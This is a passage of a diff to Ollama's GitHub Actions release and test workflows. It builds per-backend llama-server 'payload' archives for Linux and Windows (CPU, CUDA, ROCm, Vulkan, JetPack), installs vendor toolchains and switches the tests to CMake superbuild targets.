+  # filesystem artifacts below. This preserves parallelism without Docker
+  # registry credentials or oversized GitHub layer caches.
+  linux-payloads:
+    runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
+    needs: setup-environment
+    strategy:
+      fail-fast: false
+      matrix:
+        include:
+          - arch: amd64
+            target: publish-llama-server-cpu
+            payload: cpu
+          - arch: amd64
+            target: publish-llama-server-cuda_v12
+            payload: cuda_v12
+          - arch: amd64
+            target: publish-llama-server-cuda_v13
+            payload: cuda_v13
+          - arch: amd64
+            target: publish-llama-server-rocm_v7_2
+            payload: rocm_v7_2
+          - arch: amd64
+            target: publish-llama-server-vulkan
+            payload: vulkan
+          - arch: arm64
+            target: publish-llama-server-cpu
+            payload: cpu
+          - arch: arm64
+            target: publish-llama-server-cuda_v12
+            payload: cuda_v12
+          - arch: arm64
+            target: publish-llama-server-cuda_v13
+            payload: cuda_v13
+          - arch: arm64
+            target: publish-llama-server-cuda_jetpack5
+            payload: cuda_jetpack5
+          - arch: arm64
+            target: publish-llama-server-cuda_jetpack6
+            payload: cuda_jetpack6
+    steps:
+      - uses: actions/checkout@v4
+      - uses: docker/setup-buildx-action@v3
+      - uses: docker/build-push-action@v6
+        with:
+          context: .
+          platforms: linux/${{ matrix.arch }}
+          target: ${{ matrix.target }}
+          provenance: false
+          sbom: false
+          build-args: |
+            GOFLAGS=${{ needs.setup-environment.outputs.GOFLAGS }}
+            CGO_CFLAGS=${{ env.CGO_CFLAGS }}
+            CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
+            APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
+            APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
+          outputs: type=local,dest=${{ runner.temp }}/payload
+      - name: Pack Linux payload
+        shell: bash
+        run: |
+          set -euo pipefail
+          tar -C "${{ runner.temp }}/payload" -cf - . | zstd -9 -T0 >"${{ runner.temp }}/linux-payload-${{ matrix.arch }}-${{ matrix.payload }}.tar.zst"
+      - uses: actions/upload-artifact@v4
+        with:
+          name: linux-payload-${{ matrix.arch }}-${{ matrix.payload }}
+          path: ${{ runner.temp }}/linux-payload-${{ matrix.arch }}-${{ matrix.payload }}.tar.zst
+          compression-level: 0
+
+  linux-go:
+    runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
+    needs: setup-environment
+    strategy:
+      fail-fast: false
+      matrix:
+        arch: [amd64, arm64]
+    steps:
+      - uses: actions/checkout@v4
+      - uses: docker/setup-buildx-action@v3
+      - uses: docker/build-push-action@v6
+        with:
+          context: .
+          platforms: linux/${{ matrix.arch }}
+          target: publish-go
+          provenance: false
+          sbom: false
+          build-args: |
+            GOFLAGS=${{ needs.setup-environment.outputs.GOFLAGS }}
+            CGO_CFLAGS=${{ env.CGO_CFLAGS }}
+            CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
+            APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
+            APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
+          outputs: type=local,dest=${{ runner.temp }}/payload
+      - name: Pack Linux Go payload
+        shell: bash
+        run: |
+          set -euo pipefail
+          tar -C "${{ runner.temp }}/payload" -cf - . | zstd -9 -T0 >"${{ runner.temp }}/linux-payload-${{ matrix.arch }}-go.tar.zst"
+      - uses: actions/upload-artifact@v4
+        with:
+          name: linux-payload-${{ matrix.arch }}-go
+          path: ${{ runner.temp }}/linux-payload-${{ matrix.arch }}-go.tar.zst
+          compression-level: 0
+
+  # MLX payloads are intentionally excluded from this workflow; the Dockerfile
+  # still exposes publish-mlx for a separate MLX-specific workflow.
+  linux-bundles:
+    runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
+    needs: [linux-payloads, linux-go]
+    strategy:
+      fail-fast: false
+      matrix:
+        arch: [amd64, arm64]
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/download-artifact@v4
+        with:
+          pattern: linux-payload-${{ matrix.arch }}-*
+          path: ${{ runner.temp }}/payloads
+          merge-multiple: true
+      - name: Assemble Linux payload tree
+        shell: bash
+        run: |
+          set -euo pipefail
+          src="${{ runner.temp }}/payloads"
+          arch="${{ matrix.arch }}"
+          dest="dist/linux-${arch}"
+          copy_payload() {
+            local name="$1"
+            local payload="${src}/linux-payload-${arch}-${name}.tar.zst"
+            if [ ! -f "${payload}" ]; then
+              echo "missing payload ${payload}"
+              exit 1
+            fi
+            zstd -d <"${payload}" | tar -C "${dest}" -xf -
+          }
+
+          mkdir -p "${dest}"
+          copy_payload go
+          copy_payload cpu
+          copy_payload cuda_v12
+          copy_payload cuda_v13
+          if [ "${arch}" = "amd64" ]; then
+            copy_payload vulkan
+            copy_payload rocm_v7_2
+          else
+            copy_payload cuda_jetpack5
+            copy_payload cuda_jetpack6
+          fi
+
+          ./scripts/deduplicate_cuda_libs.sh "${dest}"
+      - name: Verify Linux build payloads
+        shell: bash
+        run: |
+          set -euo pipefail
+          base="dist/linux-${{ matrix.arch }}"
+          for payload in \
+            "${base}/bin/ollama" \
+            "${base}/lib/ollama/llama-server"
+          do
+            [ -f "${payload}" ] || { echo "missing ${payload}"; exit 1; }
+          done
+      - name: Create archive input lists
+        shell: bash
+        run: |
+          set -euo pipefail
+          for COMPONENT in bin/* lib/ollama/*; do
+            case "${COMPONENT}" in
+              bin/ollama*)              echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/*.so*)         echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/llama-server*|lib/ollama/llama-quantize*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/cuda_v*)       echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/vulkan*)       echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/mlx*)          echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-mlx.tar.in ;;
+              lib/ollama/include*)      echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-mlx.tar.in ;;
+              lib/ollama/cuda_jetpack5) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-jetpack5.tar.in ;;
+              lib/ollama/cuda_jetpack6) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-jetpack6.tar.in ;;
+              lib/ollama/rocm_v*)       echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-rocm.tar.in ;;
+            esac
+          done
+        working-directory: dist/linux-${{ matrix.arch }}
+      - name: Log archive input lists
+        shell: bash
+        run: |
+          set -euo pipefail
+          for ARCHIVE in dist/linux-${{ matrix.arch }}/*.tar.in; do
+            echo "${ARCHIVE}"
+            cat "${ARCHIVE}"
+          done
+      - name: Create Linux archives
+        shell: bash
+        run: |
+          set -euo pipefail
+          for ARCHIVE in dist/linux-${{ matrix.arch }}/*.tar.in; do
+            tar c -C dist/linux-${{ matrix.arch }} -T "${ARCHIVE}" --owner 0 --group 0 | zstd -19 -T0 >"$(basename "${ARCHIVE//.*/}.tar.zst")" &
+          done
+          wait
+      - uses: actions/upload-artifact@v4
+        with:
+          name: ollama-linux-${{ matrix.arch }}.tar.zst
+          path: ollama-linux-${{ matrix.arch }}.tar.zst
+          compression-level: 0
+      - if: matrix.arch == 'amd64'
+        uses: actions/upload-artifact@v4
+        with:
+          name: ollama-linux-amd64-rocm.tar.zst
+          path: ollama-linux-amd64-rocm.tar.zst
+          compression-level: 0
+      - if: matrix.arch == 'arm64'
+        uses: actions/upload-artifact@v4
+        with:
+          name: ollama-linux-arm64-jetpack5.tar.zst
+          path: ollama-linux-arm64-jetpack5.tar.zst
+          compression-level: 0
+      - if: matrix.arch == 'arm64'
+        uses: actions/upload-artifact@v4
+        with:
+          name: ollama-linux-arm64-jetpack6.tar.zst
+          path: ollama-linux-arm64-jetpack6.tar.zst
+          compression-level: 0
+
+  windows-depends:
+    needs: setup-environment
+    strategy:
+      fail-fast: false
+      matrix:
+        os: [windows]
+        arch: [amd64]
+        preset: ['CPU']
+        build-steps: ['cpu cpuArm64']
+        include:
+          - os: windows
+            arch: amd64
+            preset: 'CUDA 12'
+            build-steps: cuda12
+            install: https://developer.download.nvidia.com/compute/cuda/12.8.0/local_installers/cuda_12.8.0_571.96_windows.exe
+            cuda-components:
+              - '"cudart"'
+              - '"nvcc"'
+              - '"cublas"'
+              - '"cublas_dev"'
+            cuda-version: '12.8'
+          - os: windows
+            arch: amd64
+            preset: 'CUDA 13'
+            build-steps: cuda13
+            install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
+            cuda-components:
+              - '"cudart"'
+              - '"nvcc"'
+              - '"cublas"'
+              - '"cublas_dev"'
+              - '"crt"'
+              - '"nvvm"'
+              - '"nvptxcompiler"'
+            cuda-version: '13.0'
+          - os: windows
+            arch: amd64
+            preset: 'ROCm 7'
+            build-steps: rocm7
+            install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
+            rocm-version: '7.1'
+          - os: windows
+            arch: amd64
+            preset: Vulkan
+            build-steps: vulkan
+            install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
+    runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
+    env:
+      GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
+      VERSION: ${{ needs.setup-environment.outputs.VERSION }}
+    steps:
+      - name: Install system dependencies
+        run: |
+          choco install -y --no-progress ccache ninja
+          if (Get-Command ccache -ErrorAction SilentlyContinue) {
+            ccache -o cache_dir=${{ github.workspace }}\.ccache
+          }
+      - if: matrix.preset == 'CPU'
+        name: Install Windows ARM64 cross compiler
+        run: |
+          Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
+          Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
+          $installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
+          if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
+            throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
+          }
+      - if: startsWith(matrix.preset, 'CUDA ') || startsWith(matrix.preset, 'ROCm ') || startsWith(matrix.preset, 'Vulkan')
+        id: cache-install
+        uses: actions/cache/restore@v4
+        with:
+          path: |
+            C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
+            C:\Program Files\AMD\ROCm
+            C:\VulkanSDK
+          key: ${{ matrix.install }}
+      - if: startsWith(matrix.preset, 'CUDA ')
+        name: Install CUDA ${{ matrix.cuda-version }}
+        run: |
+          $ErrorActionPreference = "Stop"
+          if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
+            Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
+            $subpackages = @(${{ join(matrix.cuda-components, ', ') }}) | Foreach-Object {"${_}_${{ matrix.cuda-version }}"}
+            Start-Process -FilePath .\install.exe -ArgumentList (@("-s") + $subpackages) -NoNewWindow -Wait
+          }
+
+          $cudaPath = (Resolve-Path "C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\*").path
+          echo "$cudaPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
+      - if: startsWith(matrix.preset, 'ROCm')
+        name: Install ROCm ${{ matrix.rocm-version }}
+        run: |
+          $ErrorActionPreference = "Stop"
+          if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
+            Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
+            Start-Process -FilePath .\install.exe -ArgumentList '-install' -NoNewWindow -Wait
+          }
+
+          $hipPath = (Resolve-Path "C:\Program Files\AMD\ROCm\*").path
+          echo "$hipPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
+          echo "CC=$hipPath\bin\clang.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
+          echo "CXX=$hipPath\bin\clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
+          echo "HIPCXX=$hipPath\bin\clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
+          echo "HIP_PLATFORM=amd" | Out-File -FilePath $env:GITHUB_ENV -Append
+          echo "CMAKE_PREFIX_PATH=$hipPath" | Out-File -FilePath $env:GITHUB_ENV -Append
+      - if: matrix.preset == 'Vulkan'
+        name: Install Vulkan
+        run: |
+          $ErrorActionPreference = "Stop"
+          if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
+            Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
+            Start-Process -FilePath .\install.exe -ArgumentList "-c","--am","--al","in" -NoNewWindow -Wait
+          }
+
+          $vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
+          $vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
+          if (Test-Path $vulkanRuntime) {
+            Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
+          }
+          echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
+          echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
+      - if: ${{ !cancelled() && matrix.preset != 'CPU' && steps.cache-install.outputs.cache-hit != 'true' }}
+        uses: actions/cache/save@v4
+        with:
+          path: |
+            C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
+            C:\Program Files\AMD\ROCm
+            C:\VulkanSDK
+          key: ${{ matrix.install }}
+      - uses: actions/checkout@v4
+      - uses: actions/cache@v4
+        with:
+          path: ${{ github.workspace }}\.ccache
+          key: ccache-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}-${{ needs.setup-environment.outputs.vendorsha }}
+      - name: Build Windows dependencies
+        run: |
+          Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
+          Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation -DevCmdArguments '-arch=x64 -no_logo'
+          $steps = "${{ matrix.build-steps }}".Split(' ', [System.StringSplitOptions]::RemoveEmptyEntries)
+          ./scripts/build_windows.ps1 @steps
+        env:
+          CMAKE_GENERATOR: Ninja
+      - name: Log build results
+        run: |
+          gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
+      - if: matrix.preset == 'CPU'
+        name: Verify Windows CPU payloads
+        shell: bash
+        run: |
+          set -euo pipefail
+          for payload in \
+            dist/windows-amd64/lib/ollama/llama-server.exe \
+            dist/windows-arm64/lib/ollama/llama-server.exe
+          do
+            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
+          done
+      - uses: actions/upload-artifact@v4
+        with:
+          name: depends-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}
+          path: dist\*
+          compression-level: 0
+
+  windows-build:
+    runs-on: windows
+    needs: setup-environment
+    env:
+      GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
+      VERSION: ${{ needs.setup-environment.outputs.VERSION }}
+    steps:
+      - name: Install clang and gcc-compat
+        run: |
+          $ErrorActionPreference = "Stop"
+          Set-ExecutionPolicy Bypass -Scope Process -Force
+          Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
+          Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
+          $installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
+          echo "$installPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
+          if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
+            throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
+          }
+      - uses: actions/checkout@v4
+      - uses: actions/setup-go@v5
+        with:
+          go-version-file: go.mod
+          cache-dependency-path: |
+            go.sum
+            LLAMA_CPP_VERSION
+            MLX_VERSION
+            MLX_C_VERSION
+      - name: Verify gcc is actually clang
+        run: |
+          $ErrorActionPreference='Continue'
+          $version=& gcc -v 2>&1
+          $version=$version -join "`n"
+          echo "gcc is $version"
+          if ($version -notmatch 'clang') {
+            echo "ERROR: GCC must be clang for proper utf16 handling"
+            exit 1
+          }
+          $ErrorActionPreference='Stop'
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version: "20"
+      - name: Build Windows binaries and app launchers
+        run: ./scripts/build_windows.ps1 ollama ollamaArm64 app appArm64
+      - name: Verify Windows build payloads
+        shell: bash
+        run: |
+          set -euo pipefail
+          for payload in \
+            dist/windows-amd64/ollama.exe \
+            dist/windows-arm64/ollama.exe
+          do
+            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
+          done
+      - name: Log build results
+        run: |
+          gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
+      - uses: actions/upload-artifact@v4
+        with:
+          name: build-windows-amd64
+          path: dist\*
+          compression-level: 0
+
+  windows-package:
+    runs-on: windows
+    needs: [setup-environment, windows-build, windows-depends]
+    env:
+      GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
+      VERSION: ${{ needs.setup-environment.outputs.VERSION }}
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-go@v5
+        with:
+          go-version-file: go.mod
+          cache-dependency-path: |
+            go.sum
+            LLAMA_CPP_VERSION
+            MLX_VERSION
+            MLX_C_VERSION
+      - uses: actions/download-artifact@v4
+        with:
+          pattern: depends-windows*
+          path: dist
+          merge-multiple: true
+      - uses: actions/download-artifact@v4
+        with:
+          pattern: build-windows*
+          path: dist
+          merge-multiple: true
+      - name: Copy unsigned install script
+        run: Copy-Item -Path .\scripts\install.ps1 -Destination .\dist\install.ps1 -ErrorAction Stop
+      - name: Log dist contents after download
+        run: gci -path .\dist -recurse
+      - name: Verify Windows package inputs
+        shell: bash
+        run: |
+          set -euo pipefail
+          for payload in \
+            dist/windows-amd64/ollama.exe \
+            dist/windows-amd64/lib/ollama/llama-server.exe \
+            dist/windows-arm64/ollama.exe \
+            dist/windows-arm64/lib/ollama/llama-server.exe
+          do
+            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
+          done
+      - name: Build unsigned Windows installer and zips
+        run: ./scripts/build_windows.ps1 deps installer zip
+      - name: Log contents after build
+        run: |
+          gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
+      - name: Verify Windows package outputs
+        shell: bash
+        run: |
+          set -euo pipefail
+          for payload in \
+            dist/ollama-windows-amd64.zip \
+            dist/ollama-windows-arm64.zip \
+            dist/ollama-windows-amd64-rocm.zip \
+            dist/OllamaSetup.exe \
+            dist/install.ps1
+          do
+            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
+          done
+      - uses: actions/upload-artifact@v4
+        with:
+          name: ollama-windows-amd64.zip
+          path: dist/ollama-windows-amd64.zip
+          compression-level: 0
+      - uses: actions/upload-artifact@v4
+        with:
+          name: ollama-windows-arm64.zip
+          path: dist/ollama-windows-arm64.zip
+          compression-level: 0
+      - uses: actions/upload-artifact@v4
+        with:
+          name: ollama-windows-amd64-rocm.zip
+          path: dist/ollama-windows-amd64-rocm.zip
+          compression-level: 0
+      - uses: actions/upload-artifact@v4
+        with:
+          name: OllamaSetup.exe
+          path: dist/OllamaSetup.exe
+          compression-level: 0
+      - uses: actions/upload-artifact@v4
+        with:
+          name: install.ps1
+          path: dist/install.ps1
+          compression-level: 0

.github/workflows/test.yaml

@@ -23,7 +23,7 @@ jobs:
     outputs:
       changed: ${{ steps.changes.outputs.changed }}
       app_changed: ${{ steps.changes.outputs.app_changed }}
-      vendorsha: ${{ steps.changes.outputs.vendorsha }}
+      enginehash: ${{ steps.changes.outputs.enginehash }}
     steps:
       - uses: actions/checkout@v4
         with:
@@ -38,9 +38,42 @@ jobs:
               | xargs python3 -c "import sys; from pathlib import Path; print(any(Path(x).match(glob) for x in sys.argv[1:] for glob in '$*'.split(' ')))"
           }
 
-          echo changed=$(changed 'llama/llama.cpp/**/*' 'ml/backend/ggml/ggml/**/*' '.github/**/*') | tee -a $GITHUB_OUTPUT
+          echo changed=$(changed \
+            'CMakeLists.txt' \
+            'CMakePresets.json' \
+            'cmake/**' \
+            'cmake/**/*' \
+            'llama/server/**/*' \
+            'llama/compat/**/*' \
+            'LLAMA_CPP_VERSION' \
+            'MLX_VERSION' \
+            'MLX_C_VERSION' \
+            'llama/llama.cpp/**/*' \
+            'ml/backend/ggml/ggml/**/*' \
+            'x/imagegen/mlx/**' \
+            'x/imagegen/mlx/**/*' \
+            '.github/**/*') | tee -a $GITHUB_OUTPUT
           echo app_changed=$(changed 'app/**' 'app/**/*') | tee -a $GITHUB_OUTPUT
-          echo vendorsha=$(make -f Makefile.sync print-base) | tee -a $GITHUB_OUTPUT
+          echo enginehash=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION) | tee -a $GITHUB_OUTPUT
+
+  patches:
+    strategy:
+      matrix:
+        os: [ubuntu-latest, windows-latest]
+    runs-on: ${{ matrix.os }}
+    steps:
+      - uses: actions/checkout@v4
+      - name: Verify patches apply cleanly
+        shell: bash
+        run: |
+          cmake -S llama/server -B "$RUNNER_TEMP/llama-server-patch-check" \
+            -DCMAKE_BUILD_TYPE=Release \
+            -DBUILD_SHARED_LIBS=ON \
+            -DGGML_BACKEND_DL=ON \
+            -DGGML_NATIVE=OFF \
+            -DGGML_OPENMP=OFF \
+            -DGGML_CPU_ALL_VARIANTS=ON \
+            -DOLLAMA_RUNNER_DIR=
 
   linux:
     needs: [changes]
@@ -49,23 +82,41 @@ jobs:
       matrix:
         include:
           - preset: CPU
+            superbuild_target: ollama-local
+            superbuild_dir: build/local-superbuild
+            superbuild_args: ''
+            expected_payload: lib/ollama/llama-server
+            install-go: true
           - preset: CUDA
             container: nvidia/cuda:13.0.0-devel-ubuntu22.04
-            flags: '-DCMAKE_CUDA_ARCHITECTURES=87'
+            superbuild_target: ollama-llama-server-cuda_v13
+            superbuild_dir: build/local-superbuild-cuda_v13
+            superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=87'
+            expected_payload: lib/ollama/cuda_v13/libggml-cuda.so
           - preset: ROCm
             container: rocm/dev-ubuntu-22.04:7.2.1
             extra-packages: rocm-libs
-            flags: '-DAMDGPU_TARGETS=gfx1010 -DCMAKE_PREFIX_PATH=/opt/rocm'
+            superbuild_target: ollama-llama-server-rocm_v7_2
+            superbuild_dir: build/local-superbuild-rocm_v7_2
+            superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=rocm_v7_2 -DAMDGPU_TARGETS=gfx1010 -DCMAKE_PREFIX_PATH=/opt/rocm'
+            expected_payload: lib/ollama/rocm_v7_2/libggml-hip.so
           - preset: Vulkan
             container: ubuntu:22.04
             extra-packages: >
               mesa-vulkan-drivers vulkan-tools
               libvulkan1 libvulkan-dev
-              vulkan-sdk cmake ccache g++ make
+              vulkan-sdk spirv-headers cmake ccache g++ make
+            superbuild_target: ollama-llama-server-vulkan
+            superbuild_dir: build/local-superbuild-vulkan
+            superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=vulkan'
+            expected_payload: lib/ollama/vulkan/libggml-vulkan.so
           - preset: 'MLX CUDA 13'
             container: nvidia/cuda:13.0.0-devel-ubuntu22.04
             extra-packages: libcudnn9-dev-cuda-13 libopenblas-dev liblapack-dev liblapacke-dev git curl
-            flags: '-DCMAKE_CUDA_ARCHITECTURES=87 -DBLAS_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu -DLAPACK_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu'
+            superbuild_target: ollama-mlx-cuda_v13
+            superbuild_dir: build/local-superbuild-mlx-cuda_v13
+            superbuild_args: '-DOLLAMA_MLX_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=87 -DMLX_CUDA_ARCHITECTURES=80-virtual -DBLAS_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu -DLAPACK_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu'
+            expected_payload: lib/ollama/mlx_cuda_v13/libmlx.so
             install-go: true
     runs-on: linux
     container: ${{ matrix.container }}
@@ -82,11 +133,9 @@ jobs:
             echo "deb [signed-by=/usr/share/keyrings/lunarg-archive-keyring.gpg]  https://packages.lunarg.com/vulkan/1.4.313 jammy main" | $sudo tee /etc/apt/sources.list.d/lunarg-vulkan-1.4.313-jammy.list > /dev/null
             $sudo apt-get update
           fi
-          $sudo apt-get install -y cmake ccache ${{ matrix.extra-packages }}
-          # MLX requires CMake 3.25+, install from official releases
-          if [ "${{ matrix.preset }}" = "MLX CUDA 13" ]; then
-            curl -fsSL https://github.com/Kitware/CMake/releases/download/v3.31.2/cmake-3.31.2-linux-$(uname -m).tar.gz | $sudo tar xz -C /usr/local --strip-components 1
-          fi
+          $sudo apt-get install -y cmake ccache curl git ${{ matrix.extra-packages }}
+          # Use a current CMake for upstream llama.cpp and Vulkan dependency discovery.
+          curl -fsSL https://github.com/Kitware/CMake/releases/download/v3.31.2/cmake-3.31.2-linux-$(uname -m).tar.gz | $sudo tar xz -C /usr/local --strip-components 1
           # Export VULKAN_SDK if provided by LunarG package (defensive)
           if [ -d "/usr/lib/x86_64-linux-gnu/vulkan" ] && [ "${{ matrix.preset }}" = "Vulkan" ]; then
             echo "VULKAN_SDK=/usr" >> $GITHUB_ENV
@@ -96,17 +145,30 @@ jobs:
       - if: matrix.install-go
         name: Install Go
         run: |
+          [ -n "${{ matrix.container }}" ] || sudo=sudo
           GO_VERSION=$(awk '/^go / { print $2 }' go.mod)
-          curl -fsSL "https://golang.org/dl/go${GO_VERSION}.linux-$(dpkg --print-architecture).tar.gz" | tar xz -C /usr/local
+          curl -fsSL "https://golang.org/dl/go${GO_VERSION}.linux-$(dpkg --print-architecture).tar.gz" | $sudo tar xz -C /usr/local
           echo "/usr/local/go/bin" >> $GITHUB_PATH
       - uses: actions/cache@v4
         with:
           path: /github/home/.cache/ccache
-          key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.vendorsha }}
-      - run: |
-          cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }}
-          cmake --build --preset "${{ matrix.preset }}" --parallel
-
+          key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.enginehash }}
+      - name: Build native superbuild
+        if: matrix.superbuild_target
+        run: |
+          cmake -S . -B "${{ matrix.superbuild_dir }}" ${{ matrix.superbuild_args }}
+          CMAKE_BUILD_PARALLEL_LEVEL=$(nproc) cmake --build "${{ matrix.superbuild_dir }}" --target "${{ matrix.superbuild_target }}" -- -l $(nproc)
+          test -e "${{ matrix.superbuild_dir }}/${{ matrix.expected_payload }}"
+      - name: Verify local superbuild install
+        if: matrix.superbuild_target == 'ollama-local'
+        run: |
+          ./ollama --version
+          "${{ matrix.superbuild_dir }}/lib/ollama/llama-server" --version
+          test -x "${{ matrix.superbuild_dir }}/lib/ollama/llama-quantize"
+          cmake --install "${{ matrix.superbuild_dir }}" --component ollama-local --prefix "$RUNNER_TEMP/ollama-local"
+          "$RUNNER_TEMP/ollama-local/bin/ollama" --version
+          "$RUNNER_TEMP/ollama-local/lib/ollama/llama-server" --version
+          test -x "$RUNNER_TEMP/ollama-local/lib/ollama/llama-quantize"
   windows:
     needs: [changes]
     if: needs.changes.outputs.changed == 'True'
@@ -114,9 +176,16 @@ jobs:
       matrix:
         include:
           - preset: CPU
+            superbuild_target: ollama-local
+            superbuild_dir: build\local-superbuild
+            superbuild_args: ''
+            expected_payload: lib\ollama\llama-server.exe
           - preset: CUDA
             install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
-            flags: '-DCMAKE_CUDA_ARCHITECTURES=80'
+            superbuild_target: ollama-llama-server-cuda_v13
+            superbuild_dir: build\local-superbuild-cuda_v13
+            superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=80'
+            expected_payload: lib\ollama\cuda_v13\ggml-cuda.dll
             cuda-components:
               - '"cudart"'
               - '"nvcc"'
@@ -127,14 +196,26 @@ jobs:
               - '"nvptxcompiler"'
             cuda-version: '13.0'
           - preset: ROCm
-            install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-24.Q4-WinSvr2022-For-HIP.exe
-            flags: '-DAMDGPU_TARGETS=gfx1010 -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma" -DCMAKE_CXX_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma"'
+            install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
+            rocm-version: '7.1'
+            superbuild_target: ollama-llama-server-rocm_v7_1
